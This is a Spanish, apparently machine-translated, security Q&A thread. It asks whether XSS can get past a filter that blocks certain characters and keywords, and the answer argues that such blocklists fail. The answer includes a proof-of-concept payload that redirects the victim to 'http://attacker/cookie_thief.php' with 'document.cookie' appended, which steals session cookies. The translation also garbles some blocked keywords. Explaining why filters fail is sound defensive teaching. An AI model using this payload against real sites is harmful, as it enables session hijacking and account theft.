¿Es posible ejecutar xss bajo las siguientes condiciones?
Los siguientes caracteres y palabras bloqueados se reemplazan con _.
caracteres: > , , ", ', #, ~, \,%, (,), [], {,}, [espacio]
palabras clave: alerta, confirmación, solicitud, href, cuerpo, onload, src =
La entrada en la variable get se devolverá al usuario y no estará en ningún atributo o etiqueta, se mostrará como está.
En primer lugar, XSS depende completamente del contexto. Forzar todas las entradas a través del mismo filtro nunca funcionará todo el tiempo. Esto no es así como las aplicaciones web tratan el problema de XSS. El mayor problema con este método de protección XSS es que no es seguro para archivos binarios. La codificación de la entidad HTML conservará el valor sin llevar a XSS.
La mayoría de estas restricciones propuestas no tienen ningún impacto en la susceptibilidad de una aplicación web dada a XSS. El problema más obvio es verificar alert y prompt , ya que estas son cadenas que nunca aparecerán en un ataque real. Esto se debe a que un atacante real quiere que no se lo detecte , un cuadro de alerta es un regalo de muerte.
Para responder a su pregunta, SÍ , existen numerosas condiciones en las que un atacante podría obtener XSS dadas estas restricciones arbitrarias. Lo primero que me viene a la mente es XSS basado en DOM y Inyección de eventos DOM .
El XSS reflectivo simple y normal también funcionará en varias situaciones, la siguiente es una carga útil de PoC, asumiendo que el atacante ya está escribiendo dentro de una etiqueta <script> :
document.location=document.referrer+document.cookie
En este caso, document.referrer es donde la carga útil reflexiva XSS se originó a partir de la cual lo llamamos http://attacker/cookie_thief.php?c= . En esta carga útil, el navegador de la víctima será redirigido nuevamente a http://attacker/cookie_thief.php?c= por la carga útil XSS, y la variable c GET se rellenará con el valor de la cookie.
Lea otras preguntas en las etiquetas xss javascript